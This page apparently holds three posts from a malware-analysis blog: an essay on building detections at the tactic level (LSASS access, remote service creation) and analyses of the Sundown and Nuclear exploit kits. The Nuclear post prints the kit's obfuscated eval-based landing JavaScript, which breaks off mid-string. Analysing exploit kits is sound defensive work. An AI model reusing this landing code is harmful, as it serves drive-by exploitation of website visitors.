Monday, September 19, 2022

Tactics, the killer of YOLO command lines?

As a big fan of “The Pyramid of Pain” and “Detection Maturity Levels” I have had good faith in building robust detection and upping my chances to detect adversary behavior in my networks.

The Pyramid of Pain does a great job in painting a clear  picture on what to focus on to make sure my detection is relevant now and in the foreseeable future: TTPs.




Tactics, Techniques and Procedures, not Tools, Techniques  and Procedure and not Tools, Tools and Pools either ;). Only thing I would like to change is that it should be named PTTs: Procedures, Techniques and Tactics to make sure that the stuff to detect, and  what adversaries really would struggle to change, was Tactics. The Queen of TTPs and the saviour of our CERT, SOC and CSIRT teams.


The TTPs are explained in detail by Ryan Stillions in his Detection Maturity Level blog post and they are split up into their own DML levels. Procedures are level 4, Techniques are level 5 and Tactics are on level 6. (Note DML level 8 is Goals). So according to the DML model detecting on level 6 Tactics would be excellent. 


The advanced DML model presented by Siri Bromander et al does add an upper level 9, Identity, to the DML model but that is not relevant for this rant, ehm blog post.


So this should be pretty easy then. Find tools that detect on DML level 6, even 5 could be acceptable in some cases, install, test , tune and head for the pub to get some beers and wait for the adversaries to get caught with their network operations. Straight forward right? Bummer. No tools detect on this level. The favorite for detection tools seem to be  detecting other tools. Commandlines are very much looked for by detection tools in my experience. Detecting LOLbins seem to be a special favorite. LOLBINS and LOLBAS are great stuff, mainly for offensive purposes, but having the knowledge of them and alerting or at least logging when they are used might be very helpful in an IR setting. But there is a lot of them and writing good detection becomes extra hard as these binaries are used daily in our infrastructure and always being one ^ away from missing the execution of a ”YOLO commandline” makes for a lot of work in creating signatures and also tuning away false positive alerts from that kind of detection.


No tools readily available to fix my detection needs then, I am afraid. We need to look into building our own detection to reach nirvana at DML level 6 !


 Best practice should be to look into which adversaries we should be most afraid of, or at least who we think is most likely to visit our networks, and start making sure we will catch them red handed if they as much as use one of their Tactics in our infrastructure. Lets say we do find which threat actors we need to be on the lookout for (probably some of them are in the ransomware business). So we pick up the best threat intel reports we can find and start looking for TTPs and in particular for Tactis. Lots of IOCs to find, hashes all over the place, even some malware names pop up(tools that is). Most common being Cobolt Strike Beacon maybe. A lot of reports confuse TTPs with IOCs, tools and other artifact that we are not willing to bet our lives on when creating detection. Almost all TI report do have a MITRE Att&ck reference table of some sorts today with at least Technique references.


That brings me over to my frustration with the MITRE Att&ck framework. Because MITRE Att&ck is another part in the detection pussle that confuses me, and it seem to be confusing a lot of others as well. The excellent speech by Martin Eian at this years FIRST conference in Dublin inspired me to write this post. MITRE Tactics are indeed goals not DML Tactics. We can not write detection for Tactics like “Defense Evation”, “Execution” and “Credential Access”.

MITRE Techniques, on the other hand, can be made into detection, at least some of them. 

Lets look at a much used example: OS Credential dumping T.1003 is not good enough, but the sub technique T1003.0001 LSASS memory is a good candidate. I am not sure if this is a technique or a tactic according to the DML model. But to confuse me even more in the detection section things like “Monitor executed commands and arguments that may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module”.  Not so much help there either, Back to detecting Tools again.

To me it looks like we have this huge framework that help us detect the stuff that we really should not care too much about.


Do we as a community(IT Security/Sec analyst) lack the understanding of techniques and tactics? And does the MITRE Att&ck framework confuse us, the CSIRTs, SOCs and CERTs, in creating robust and reliable detection? Some has tried to say that Procedures is the correct level for detection: The TTP pyramid by Cristopher Peacock. I do not believe that this is the correct way to look at this problem. Maybe procedures are an OK detection level(4 that is). But ignoring Techniques and Tactics that should be even better, feels wrong.


Is the correct way to do this then to come up with our own Techniques and Tactics? 


Massive job but probably doable. Especially since there, in theory, should be fewer detections to create at this level. They should also be relevant for longer. It would of course be much better if this was covered in a framework like MITRE Att&ck as it would be scrutinized by people much smarter than me. And also by more security analysts(detection engineers) than one organization can hire.

One other thing is that when we create our own detection based on our own tactics it is harder to test and verify that our detection work properly. Frameworks for that mainly adhere to MITRE Att&ck, so there will be a job mapping things if testing should be automated, but also more manual work in purple team situations.


Finding tactics from TI reports is no easy task. As they are kind of hidden in the language and not explicitly mentioned as detection opportunities or described by MITRE Att&ck.


Lets try a couple of examples:


  1. TA007 using mimikatz to dump credentials from LSASS
    The tactic might be “Get credentials from LSASS memory”.  The goal here is credential access. This tactic is not directly detectable in it self. The closest we come, at least I get, is to detect reading LSASS process memory or if I want trying to read LSASS process memory. This can be achieved by detecting when a read operation is performed on on the LSASS object. Detecting when a handle to the sass object with read permissions is asked for will give us both successful and non successful tries to read the LSASS process memory. Detecting this will detect all TOOLS used for the purpose, any Procedure and all Techniques used while performing the LSASS dump. Not even Mohamed Salah can get that pass through to Roberto Firminio unseen :)

    Event and Tracing Windows (ETW) logs can help us with this: EventCode 4656  - “A handle to an object was requested” will give info when an application wants to access LSASS and EventCode 4663 - “An attempt was made to access an object” will give us info on when access to LSASS actually was performed.

  2. The threat actor utilized the “-r” option in PsExec to define a custom name (“mstdc”) of the remote service created on the target host (Thedfirreport)
    I propose “Running service on remote host” as a tactic. This is a lateral movement goal. To be able to detect this tactic we need to look into service executions and figure out if a network logon was performed or what other methods is used to execute something remotely.

    ETW logs will cover this one too with something like: EventCode 4697 - “A Service was installed on the system” and EventCode 4624 - “An account was successfully logged on”.

Are these really tactics and am I able to detect them correctly and reliably?


Am I not understanding the Pyramid of Pain, DML model, MITRE Att&ck and the detection challenges?

Too NOOB to figure out the right tools for the job?


Can we climb almost to the top of the DML model and reach level 6? Or is that not doable for us mere mortals? Is that for the ML and AI Gods only?


Please if you have a solution to my detection challenges let me know.

Also good detection material like the book by Andrei Miroshnikov: “Windows Security Monitoring: Scenarios and Patterns“ are really welcome.

Threat Hunters Playbookbook have done much right. Making things available as notebooks is a really good idea.

I like listening to the podcast “detection challenging paradigms” … Which makes for good input when pondering on detection challenges.



Hopefully Martin Eian will have a breakthrough with MITRE and save my day. In the mean time I will be making my own detection and trying to figure out the best way to test it reliably…



Happy ignoringing YOLO ^c^o^mandlin^e^s!!



References:

There is no TTP, by Martin Eian at The FIRST conference in Dublin

https://www.youtube.com/watch?v=KnFtekfyysA


Pyramid of pain by Davi Bianco

http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html


Detection Maturity Levels by Ryan Stillions

http://ryanstillions.blogspot.com/2014/04/the-dml-model_21.html


On TTPs by Ryan Stillions

http://ryanstillions.blogspot.com/2014/04/on-ttps.html


The TTP pyramid by Christopher Peacock

https://www.scythe.io/library/summiting-the-pyramid-of-pain-the-ttp-pyramid


Semantic Cyberthreat Modelling by Siri Bromander, Audun Jøsang and Martin Eian

https://www.duo.uio.no/bitstream/handle/10852/84713/PhD-Bromander-2021.pdf?sequence=1#page=45


Mitre Att&ck Matrix fro enterprise

https://attack.mitre.org/


Lolbins by Oddvar Moe

https://lolbas-project.github.io/


Commandline Obfuscation by Wietze Baukema

https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation


The DFIR Report

https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/


Windows Security Monitoring: Scenarios and Patterns by Andrei Miroshnikov

https://www.amazon.com/Windows-Security-Monitoring-Scenarios-Patterns/dp/1119390648


Threat Hunter Playbook by Roberto Rodriguez

https://threathunterplaybook.com/intro.html


Mohamed Salah

https://wikipedia.org/wiki/Mohamed_Salah


Roberto Firminio

https://wikipedia.org/wiki/Roberto_Firmino


Detection Challenging Paradigms podcast with Jared Atkinson and Jonathan Jonson

https://www.dcppodcast.com/

Sunday, January 8, 2017

Sundown Exploit kit

Seeing that Sundown EK have evolved lately I got curious and wanted to take a look at what new trickery this EK had come up with.
I looked at it when it started to rise last summer, but back then it was not very adwanced and looked to had stolen most of the code from other EK's.

But several have mentioned lately that it had started to use stegonografy and also weaponized with new exploits.

@Kafeine - CVE-2016-7200 & CVE-2016-7201 (Edge) and Exploit Kits
@TrendLabs - Updated Sundown Exploit Kit Uses Steganography

So lets see under the hood of Sundown EK anno 2017

I just reached out to malware-traffic-analysis for a recent pcap.

For reference I have added the output from wireahark showing what was requested from the client. So it will be easier to see what actions have been taken by the EK code. More details over at malware-traffic-analysis.


Landing - As always some obfuscation trickery


Landing - Deobfuscated


Finally we have something we can read and try to understand.

The landing seem still to spray out what ever its got and hope that something will stick to the client.
3 Flash files are set for download and a mysterious image.

Landing - Flash 1


Code for loading the flash file. At the bottom we also see the url for the payload. We can confirm that this flash was successfully run as we also see from wireshark that the payload url was requested from the client.

Landing - Flash 2


More flash to run... No payload reference on this one?
Probably cve-2016-4117

Landing - Flash 3


Even more flash. Looks like some shellcode is provided at the bottom too... which it probably is and the payload url added. If we unescape the hexstring:


Pobably cve-2015-7645

Landing - png stegonografy

To what we really have been waiting for. Stegonography in real life. Awesome. Finally we can use the skills we have been training in all those CTFs?


Nice white little image there


OK, so the image is loaded


And things are done with the image
We better use some vodoo on this image file then and see whats hidden inside.

png file decoded


What else. Moar JavaScript of course.


The same shellcode pops up again.
This looks like old IE exploit code from sundown. Maybe the new exploits where not added when this pcap was taken?
Pobably cve-2015-2419

Payload - encrypted and in clear

Strangely sundown EK provides payload both in encrypted form and in clear. 


As seen payload in clear.


And payload RC4 encrypted.


After RC4 decryption.


Epilogue

Encryption of payloads have started. Maybe sundown will discontinue the clear text download of payloads in the future.
Using Stego is at least a cool feature.
Sundown still seem to be gready and just throws all exploits it got at you, hopes that something will be successful and downloads payloads in various formats after that.
As @Kafeine reported new exploit added recently. Maybe there will be a fight between Sundown and Rig for the EK throne in the weeks and months to come?

Todo: look more into the flash files for details. Out of luck finding the newly announced exploits so I guess I need another go soon.

No Python coding needed for this task(RC4 decryption only, but that code was on disk already) so we have to fill the void with som diffrent Python: Monty Python. Nice to blog so I could look through some old stuff again. What better than the TrojanRabbit? Enjoy!

Happy Sundown EK hunting

@malforsec

Saturday, August 23, 2014

Nuclear pack (exploit kit) landing pane details

A look at the landing pane of Nuclear pack

It was a long time since I looked at the landing pane of Nuclear exploit kit when I saw the post from Brad (@malware_traffic) over at malware-traffic-anlysis.net. Thanks to him for the live redirector :).
So I wanted to take a look at what this bad stuff was up to these days. Most of i covered by @malware_traffic but a couple of new things her if you take the time and read through it.

The landing has not gone through much change.

1. The original landing


var Ta2 = "K4Z1GAY";
function activate_var(){var yuHI = "uIF2rRf";
eval('eZQVH'+'="'+'7776493287361949173221O646O4O7O6888646O63517O23778O9193217431749O34117O532873646O31579O1OOO33287O7331236323519O419778759151258O97912338867O23778O9193259O6O4344932174317873576O367O23778O91932597819O63O151258O7892561O9794O8O69515217218737781751566358314O173368141462294O1414O98OO917155O8O125817925993178O35O649O478O6873619491414529O33173335O3O4181414321822226236493O1941O422222O34O487O337293922223O353646O335O4222289172317O61723178933728988673677O7O23778O919325938O635O4O3523535193559O3353519354O193OO31761431793888646O63517O33535174317335235351935174O193OO3181733172317O23778O919325938O635O4O3523535193559O3353519354O193OO31723173322493367O33535172343173352353519351742O3O6O41949181733172317O23778O919325938O635O4O352353519355935O3O6O4194967O335351723431733523535193517783649O3181733172317O23778O919325938O635O4O3523535193559783649O3673677O7O335355936493OO3O27977O7336839924466933929934729338817721793888635O38776354917926754O378O4O38635O387763549179367545435O387763549179367543677O73221O646O4O73384789259O434O43388178383173221O646O4O7338737493236O3O43259O434O43388178383173221O646O4O7338737873O3659O434O43388178383173221O646O4O7338737O6328737194959O434O43388178383173221O646O4O7338O1252634O293959O434O43388178383173221O646O4O7338737O3O3O28759O434O43388178383173221O646O4O73387373219373759O434O43388178383173221O646O4O7338737O3468737263559O434O433888886O3O23687O788675446O63517517876263649O9O387O33287438646O335O436194918339359475966332749O637O31833517876263649O9O387O3328733271938O3498OO626183325332721O6O479414951351938O335873418O786548859321949O487357632871935593835198719873438O35921O6O479414951351938O33587342721O6O4794149187776493287361949O732273O888646O63517O127O66787353486O643872136O45921O6O479414951351938O33587345932O67878O732273O885432O6873221O7O188865435O387763549176161O654273526O21886O487351814O487353649261436274976371814497637O1O33514362777764918147776493287361949143627O635351814O63535O634143627O64934181463191978O3O649832O8735364926839O7637O1O33583857649328736194983O53535O63483O9O687O38342O32652O2388352353519351436542787192O873536492618O786548859321949O487357632871935593835198719873438O35987192O87353649262736O45178O6364979O1OOO33287187776493287361949O732888646O63517O643872136O427O1673677O761328383O6593526O259O649345987O3O487O7O65987192O87353649265932O67878O7328888838332594136493O19414343328383O6593526O2594976375987O3O487O7O65987192O87353649265932O67878O7325949193OO38O3438O38888888635O387763549179354873534863677O761O65921O6O4794149O7322733321949O4873576328719353388737361O65921O6O4794149O73259321949O487357632871935593835198719873438O3273336O45135198719873438O379773388888635O3877635491793545432O6873221O7O1888635O38776354917935435O3877635491792542736O4O9O3773649O33O187776493287361949O7O1888635O38776354917873438O3197717O161433376493OO3773649O33O33542736O4O53535O634187776493287361949O7O1888635O38776354917872136O4593526O259O635355987O3O487O7872136O45987192O87353649265932O67878O7O18888542736O42O8735364926187776493287361949O7O1888635O38776354917872136O4593526O259O487355987O3O487O7872136O45987192O87353649265932O67878O7O18888542736O49O7637187776493287361949O7O1888635O38776354917872136O4593526O2594976375987O3O487O7872136O45987192O87353649265932O67878O7O18888542736O42O87359O7637187776493287361949O7O1888635O38776354917872136O45936O42O8735364926O7O1887373O714223O14885987O3O487O7O188542736O485764932187776493287361949O7O1888635O38776354917872136O4593526O2597776495987O3O487O7872136O45987192O87353649265932O67878O7O18888542726O3879O763742O326O21814O8223O13O8223O2259224527226813481427O4387836879O763742O326O21814O8225922452722681314262726O3879O7637187776493287361949O7O12732888646O635173O43872136O427O6433O5936O42O87359O7637O7O18864O73O5936O4O9O3773649O33OO732886449O3411742O32652O238O73288183O5926O3879O763742O326O28859O3O2O332O7O18818497678786735O38776354917O664O6O893131849767878542732193738O635O39O7637O4187776493287361949O7212777273O888646O63517O343872136O4273227O127O627264338O635O4O3314987673677O7O35936O42O87359O7637O721887373O35936O42O87359O7637O7778888863677O7O35936O4O9O3773649O33OO73O8873733O5932193738O635O39O7637O4888635O387763549173O5932193738O635O39O7637O4O7212777885432432159O438783687O7O359O4387836879O763742O326O28867O1437759O438783687O7O359O4387836879O763742O326O28867771935O7O6439367O62512O6872159373649O7325978O34926872127O15978O3492687218867O6232388863677O726O732O8O613279293887226O7O1O8O61327929388888635O3877635491792543677O726O732O8O613279293882526O7O1O8O61327929388888635O38776354917689254545435O3877635491793542777193537O6879O7637187776493287361949O7O12732888646O635173O43872136O427O627O3673677O7613O5936O42O87359O7637O7O188888635O3877635491749767878543677O7613O5936O49O7637O7328888863243445432686867O343O15935O33878O632O3O71422O414262733338859O438783687O73O59O4387836879O763742O326O2885932194932O687O7O8339333273393332733933327339333138867771935O7O6439367O6254467O6232388863677O71475O7932388O759238857145987O3O487O7O3O8O613888886O3O8O6134342O32652O238595739543677O7O67232838361O714223O14885987O3O487O7O3O8O613888886O3O8O61343339333545435O38776354917O359O4783632O3O79327448859OO193649O733273388542726O38751427951187776493287361949O73O27O127O6888646O635173267873534863677O73O8886O6433OO8O113545432O6873221O73288865435O38776354917O654277736493O9OO646517876263649187776493287361949O72188863677O721593OO17626888635O3877635491721593OO17626543677O74136493O19415949O6463626O6871935888646O635173O43872136O4274943868536493O183O5936O42O8735364926O721597736493O886449O3411742O32652O238O721597736493O27333633881821597736493O278536493O39183O5936O42O8735364926O721597736493O39886449O3411742O32652O238O721597736493O3927333633881821597736493O3927O54619363O182159O64619363O64O73O5936O42O8735364926O72159O64619363O886449O3411742O32652O238O72159O64619363O2733363388182159O64619363O881893279O76371821594976376414223O1418935427772732272627OO2737277827O127O64349O6463626O687193559373637O38O3438O3O427844349O6463626O687193559387876263649O427194349767878673677O72159373637O3O47373O6888637433O5936O4O53535O634O72159373637O3O48864O8135932194932O687O72159373637O3O48818O73O5936O42O8735364926O72159373637O3O48864O82159373637O3O41318O8138867771935O7774393677725375978O34926872167772323888632439367873534863677O73O5936O42O8735364926O737O8771388737314O87522O413145987O3O487O737O877138888863243O6O837O877131359O349O6O178O33O517876263649545432O6873221O7OO8886543677O732888626433O597736493O9OO64651787626364945O732274988673677O7265919O1OO88861943265919O1OO54673677O7197373613O593OO17626888635O3877635491719545454543677O72159387876263649O4737384888678433O5936O4O53535O634O72159387876263649O48864O8135932194932O687O72159387876263649O48818O73O5936O42O8735364926O72159387876263649O48864O82159387876263649O41318O8138867771935O7774393677725785978O34926872167772323888632439367873534863677O778O8771373733O5936O42O8735364926O778O87713888886324384O878O8771313545432O6873221O7OO8886543677O732888626433O597736493O9OO64651787626364945O732274988673677O7265919O1OO88861943265919O1OO54673677O7197373613O593OO17626888635O3877635491719545454O143845978O349268721673677O73O5936O49O7637O7O1888886771935O7774393677725O16777232388863243936787353486324384O877135432O6873221O7OO8886543677O732888626433O597736493O9OO64651787626364945O732274988673677O7265919O1OO88861943265919O1OO54673677O7197373613O593OO17626888635O387763549171954545454545435O387763549171954277736493O9OO64651787626364945187776493287361949O777273O888646O63517O343872136O427324377593OO3O432353638873619498383333327O143775949O637O38383333327O6438654673677O7O73O598536493O5987O3O487O732887373O7613O598536493O3983833O598536493O395987O3O487O7O188887373O7613O599O763783833O599O76375987O3O487O742O32652O2385978O377874O194987O3O2872342O32652O2385935362621874O194987O3O2878888888383O73O598536493O5987O3O487O7O1887373O7613O598536493O3983833O598536493O395987O3O487O73288887373O7613O599O763783833O599O76375987O3O487O742O32652O2385978O377874O194987O3O2872342O32652O2385935362621874O194987O3O28788888888863677O7613O59O54619363O838361O73O59O54619363O5987O3O487O7328883833O59O54619363O5987O3O487O7O188888886O65919O1OO4377545435O38776354917O6542726O38774O335O4361949O9O37836373687O33518332733277736493O517876263649187776493287361949O73O888646O635173243872136O427O1273O27O64386O487O68776O418682927387876263649189354673677O761325936O42O8735364926O73O88888635O38776354917O6543677O73O5978O3492687214343928886325926O38774O335O4361949O9O37836373687O335433O6735O38776354917O6543O433O598719581941O3354OO6O4O3O7885935O33878O632O3O71422O414262733338867O1433259517876263649O4O83O13673677O761O1838361O15926O38774O335O4361949888635O38776354917O654O65938787626364943O167O659O487O68776O443926735O38776354917O6542726O387517876263649853678O374O335O4361949187776493287361949O73O2721888646O63517O143872136O427O62732273627OO27774368922726673677O7613O888635O3877635491721543677O73O5946O335O43619498886O643O15926O3879O7637O73O5946O335O43619492333338854673677O761O683836121888635O38776354917218383O683834976787854O643O15977193537O6879O7637O7O688672143O15977193537O6879O7637O721886732432159O438783687O7O159O4387836879O763742O326O288673643O659O438783687O7O159O4387836879O763742O326O28867771935O7OO439367OO25325978O34926872167OO232388863677O7777268927373OO7277737332O8OO136143339333888635O3877635491721543677O736O8OO13614332O8OO1388863677O7774343689288867743OO543677O732O8OO136143339333888635O387763549172154545435O38776354917O65427O5157918O77776493287361949O7888646O63517O127O66787353486O14349O341174136493O194159O532873646O31579O1OOO33287O7885432O6873221O7O688865435O38776354917O16449767878184136493O194159O532873646O31579O1OOO332875488O7882726O387O51579187776493287361949O7O6888646O635173O4349767878273227O143872136O467873534863O4349O34117O159O51579O7O6885432O6873221O732888654673677O73O8886O159O1351941O4O33559O532873646O3155249O6O178O33O4361935435O387763549173O5427O1351941O4O33518865427319O318O187776493287361949O78886872136O45936493687597836O135O63534O7872136O48854273649368718865718922721O6O442764918932719O1OO51351938O3358736O3O4187776493287361949O73O27O32732888646O63517O627O1438654673677O7O373733288863677O7O3O832O89313134343439273733O5921O6O4794149O7O32732O893138873733O5936O45178O6364979O1OOO33287O7O3888886771935O7O6439367O625325978O34926872167O643O623398886O3O832O8O613134332O8O623921367O1O832O8O6131343925454771935O7O617364917O388863677O7O3O8O6137373O3O8O613O832O89313134343439273733O5921O6O4794149O7O327O6887373613O5921O6O4794149O7O127O6888886872136O45919O1OO51351938O3358736O3O4O73O27O3O8O6132732885454545427387876263649187776493287361949O7O62732888646O635173O43872136O427O1433O5957673677O7O15936O45178O6364979O1OOO33287O7O6887373O15936O485764932O7O65926O38774O335O43619498888863677O761O15936O4O9O3773649O33OO7O65926O38774O335O4361949O91949O3888886O6593649O487O67878O33O434976787867O65946O335O4361949434976787867O65946O335O436194993434976787867O65926O38774O335O4361949O91949O3434976787867O6593878762636499OO637O34332543O5919O1OO51351938O3358736O3O4O7O127O627O833573327O1273357573327O613885454273OO387O332873152187776493287361949O7888646O635173649368743872136O427574336493687595727O1351941O4O335435759O1351941O4O335273O1932433O19327637O3498727O327O2278737382776O4O335O526O34987434136493O19415949O6463626O68719356449O6463626O68719355976O4O335O526O34987838333331833332738351926363O2738351926363O922738351926363O3967O1351941O4O33559O532873646O31585367887O3353649265249O6O178O33O43619267O1351941O4O33559O532873646O3155249O6O178O33O4361926787353486O1351941O4O33559O532873646O31585367887O3353649265249O6O178O33O4361614136493O194159O3O287O33549O6785937O4O532873646O31585367887O3353649265249O6O178O33OO7885432O6873221O7O388865438351926363O9243O83312O4O2377839591512585O8O8O5133273312O4O237783959O97912O919327637O349873327331236323519O419778759151258O979123327338OO94O4O8778598OO94O4O87783327332O21O378785956315OO37838O3353327335O873778O978262OO677O35OO37838O335595O873778O978262OO677O35OO37838O3353327332O323536388736492659O9363287361949O6353433136738351926363O3943O83362125178O634O33559794O153327332O2119328441O646O38578O6O421592O2119328441O646O38578O6O421332733O5264O19498735197859O5264O19498735197833136738351926363O4338351926363O925932194932O687O738351926363O398867771935O7O2439367O22538351926363O5978O34926872167O2232388863677O7575926O387O51579O738351926363OO8O2138873736157593OO176268886O135O3O68454543677O7O1351941O4O33559O532873646O3155249O6O178O33O7373O1351941O4O33559O532873646O31585367887O3353649265249O6O178O33O8886771935O7O2439367O22538351926363O395978O34926872167O2232388863677O7575926O387O51579O738351926363O39O8O213888886O1351941O4O33559O532873646O31585367887O3353649265249O6O178O33O43619267O135O3O68454545467873738433O1932593O19327637O3498712193OO367873534863O1932593O19327637O3498712193OO34333335432O6873221O7O3888654O1351941O4O3355936O4315243O1351941O4O33559O532873646O3155249O6O178O33O8383575936O49O7637O73O1932593O19327637O3498712193OO3888383O346O678O7331448813232451949618148146192338867873534863O1932593O19327637O3498712193OO3438737385432O6873221O7O388865467O1351941O4O3355946O33531524349767878673677O7O1351941O4O3355936O431528886O1351941O4O3355946O335315243O7575936O49O7637O73O1932593O19327637O3498712193OO38873733O1932593O19327637O3498712193OO3724366643O1932593O19327637O3498712193OO31893888383O7O71475O76418594864O875O66871O5686513886464O76418122O315283354622O44822188822O448O7223O23225964223O48881436885987O3O487O776O4O335O526O34987886438O635O4O3857819O687O742O32652O238595792279293881866885454273OO387O332879O19493152187776493287361949O7888646O635177743872136O4273O43872136O4595727O6433O59O1351941O4O33527O3434136493O19415949O6463626O68719356449O6463626O6871935188654273243O65936O4315264333318O35976O4O335O526O3498783833333272643O35946O3493O19358383333327O143O3593835193O7632878383333367O65936O455O332841943O71455O33284191436885987O3O487O7O1887373O71455O332841922O448221422O448223O1436885987O3O487O7328867O65946O33555O332841943O65936O455O3328419643O5977193537O6879O7637O7O714354622O448221822O448O7O822592227223O1323881436885987O3O487O732886442O32652O23859579218339359913388184976787867O65936O44O21351937O343O714O74O21351937O3834O3536792O8822O448221422O448O7223OO8223O22591348881436885987O3O487O7328867O65946O3354O21351937O343O65936O44O21351937O3643O5977193537O6879O7637O742O32652O23859573988184976787867O65936O42OO677O635364361O65936O44O21351937O37373O7O714O5383878O31436885987O3O487O7268883836126887373O7142OO677O6353622O448221422O448O7223OO8223O22591348881436885987O3O487O7328867O65946O3352OO677O6353643O65936O42OO677O635367373O71474O335O436194922O448221422O448O7223OO8223O22591348881436885987O3O487O73288643O5977193537O6879O7637O742O32652O23859579288184976787867O65936O47938O335O643O7147938O335O622O448O82214136422O448O7223O23225964223O48881436885987O3O487O7328867O65946O3357938O335O643O65936O47938O335O67373O7O71474O335O436194922O448221422O448O7223O23225964223O48881436885987O3O487O73288838392886438O635O4O3857819O687O742O32652O23859579227929388184976787854273OO387O332875178O68777193537187776493287361949O7888646O63517O343872136O4273O43O3595727O127O6434136493O19415949O6463626O68719356449O6463626O6871935593878O6877719353783833333183333673O59792O43929393673677O7O6888646O635173243O833623649332792273312O632332739273358364976O233272927338535O3O3632OO933274427333651211949O333273992599227333651193O33273992593927333651O63O332739925929273362364959484O52332739395992273362364959481219O13678O3332739395939273351193284O38722O448514O332739395929273333279293931367771935O7O143325978O349268721683967O172439367O143O1683988863677O732O8O113737349O3411742O32652O238O732O8O11327333633885987O3O487O7O68888863O59792O4332O8O123921367O135O3O68454545454277836O135O63534187776493287361949O7O1888646O635173O43872136O42732433O19327637O3498727O6673O5919O1OO51351938O3358736O3O4O7O127O127O833573327O1138867771935O7O617364917O159517876263649O488863677O7O15921O6O4794149O7O159517876263649O427O68888863O59387876263649O7O159517876263649O4O8O61327O688545467O15951566358314O5936493687O78867O1594136495936493687O78867O15921O3O63O43325926O3875278O337O34987O463348OO6269OO637O3O73321O3O63O3388O893138383325926O3875278O337O34987O463348OO6269OO637O3O733O1193O343388O8931383833259O1193O34838349767878673O593OO387O332875178O68777193537O788673O593OO387O332873152O788673O593OO387O332879O19493152O788673O5921O6O44276494392545427O34618865718922721O6493O78O335187776493287361949O73O273227O127O6888635O387763549177776493287361949O788863OO73227O127O688545427775176O421187776493287361949O7O127O6888646O635173243872136O4273O43325957673677O73O5936O4O53535O634O7O6887373O73O5936O485764932O7O1888383O73O5936O4O53535O634O7O1887373O15978O349268721729373733O5936O485764932O7O1O893138888888886O6593876O421O7O18854542732O6787893187776493287361949O73O888646O63517O143872136O4273243O1595727O643325936O4O53535O634O73O88643O5978O349268721186892673677O7O672937373325936O485764932O73OO893138888863OO89313O73227O67292643OO89213189327O67239643OO83913189327O67229643OO8291318938854O378O4O3863677O7325936O485764932O73O8888863OO732885454542732O67878O53535O63493187776493287361949O7O6888646O63517O143872136O4273O43O159572732673677O73O5936O4O53535O634O7O688888641213678O3O7O65978O34926872188863243O6O8931367O659O438783632O3O79327928867O15932O6787893O732885454542732O67878187776493287361949O7O1888646O63517O643872136O467O65932O6787893O7O18867O6593677O9O387O33287O91949O34OO678785O493O7835O4O788542732O67878O53535O634187776493287361949O7O6888646O63517O143872136O467O15932O67878O53535O63493O7O68867O1593677O9O387O33287O91949O34OO678785O493O7835O4O7885427O67878O91949O35O493O7835O418O813273677O9O387O33287O91949O34OO678785O493O7835O4187776493287361949O7888646O635173243872136O4273O4332595727O627O1673677O7613259O67878O91949O35O493O7835O45978O349268721888635O387763549543677O73O5941364988863677O7613O59413649597819O63OO33O83833O59413649597819O63O513546875O493O7835O45978O34926872183833O59413649597819O63O51O178325O493O7835O45978O349268721888635O38776354954543677O73O59517876263649O48886771935O7O6173649173O59517876263649O48886O1433O59517876263649O4O8O613673677O73O5921O6O4794149O73O59517876263649O427O6887373O173733O5936O485764932O7O15926O38774O335O43619498888863677O7O159798O854343298383O7O159O91949O35O493O7835O47373O159O91949O35O493O7835O45978O34926872188888635O3877635495454545467325932O67878O53535O63493O73259O67878O91949O35O493O7835O48854542751566358314O18865718922736493687187776493287361949O7888646O635173243872136O427O14332595727O667771935O7O6173649173288863677O7O66143433336493687337373O15921O6O4794149O73227O6887373O15936O485764932O732O8O613888886O1O8O6134332O8O613O7O1885454542736O412364974O335O4361949187776493287361949O7O1888646O63517O6437776493287361949O7OO272127O3273O888646O635177743O1597736493O517876263649O7OO8827262732436892673677O77759O487O68776O42593888635O387763549177759O487O68776O45426437759387876263649672143O15977193537O6879O7637O7O15936O49O7637O7218864215987192O8735364926O78818O7O15936O42O87359O7637O7218864O15926O3879O7637O72188183393338888673677O7265926O38774O335O4361949O91949O36143928886265926O38774O335O4361949O72127O3273O88673677O7265926O38774O335O4361949O91949O3434343497678788886265926O38774O335O4361949O91949O3439254543677O726593649O487O67878O33O614343497678788886324326593649O487O67878O33O25439359536426593649O487O67878O33O18O726593649O487O67878O33O4343935966649218O7265946O335O436194943434349767878649318O7O15932193738O635O39O7637O4O7265946O335O4361949272127268872439364921868935992888888546735O3877635491732546735O38776354917O6542726O38774O335O4361949187776493287361949O7O1888646O63517O6437776493287361949O72127O3273O888646O635177743O1597736493O517876263649O7218827262732673677O77759O487O68776O42593888635O3877635491749767878546726437759387876263649673677O7265926O38774O335O4361949O91949O36143928886265926O38774O335O4361949O74976787827O3273O88673677O7265926O38774O335O4361949O91949O3434343497678788886265926O38774O335O4361949O91949O3439254543243O7265946O335O43619498383265946O335O436194993886732433264325935O33878O632O3O7O159O4387836879O763742O326O227O15926O38774O335O4361949O9O37836373687O3358818326735O3877635491732546735O38776354917O654271949O9O387O33287361949O91949O3187776493287361949O7O1888646O63517O6437776493287361949O7OO2721273O2732888646O63517O343O1597736493O517876263649O7OO8827842726673677O7O359O487O68776O443436829888635O387763549176892542643O359387876263649673677O761O15936O4O53535O634O72659O91949O35O493O7835O48888862659O91949O35O493O7835O443O81354673677O7265926O38774O335O4361949O91949O361439288868443O15926O38774O335O436194964O15926O38774O335O4361949O7OO273O27328818O15936O412364974O335O4361949O7OO27339333273O273288543677O726593649O487O67878O33O614368935953737326593649O487O67878O33O61439359538886O159O3465932O67878O721886735O387763549179254O159O34659775176O421O721272659O91949O35O493O7835O4886735O3877635491793546735O38776354917O6542721O6O4123637O38O3438O3187776493287361949O7O1888646O63517O6437776493287361949O72188863677O72173734136493O19415949O6463626O6871935737349O6463626O687193559373637O38O3438O3O4888646O63517782784273O27OO272627324349O6463626O687193559373637O38O3438O3O4277743O15936O4O53535O634O7218864O8135932194932O687O7218818O7O15936O42O8735364926O7218864O8211318O81388672643775978O34926872167771935O73O4393673O2526673O2323888678439367873534863677O7O15936O42O8735364926O777O83O1388737314O87522O413145987O3O487O777O83O13888886784332O877O83O1313545432O6873221O7OO888654844378647859O349O6O178O33O5178762636491893673677O7847373O7845949O637O3838384593OO3O4323536388736194988888635O38776354917785454546735O3877635491749767878546735O3877635491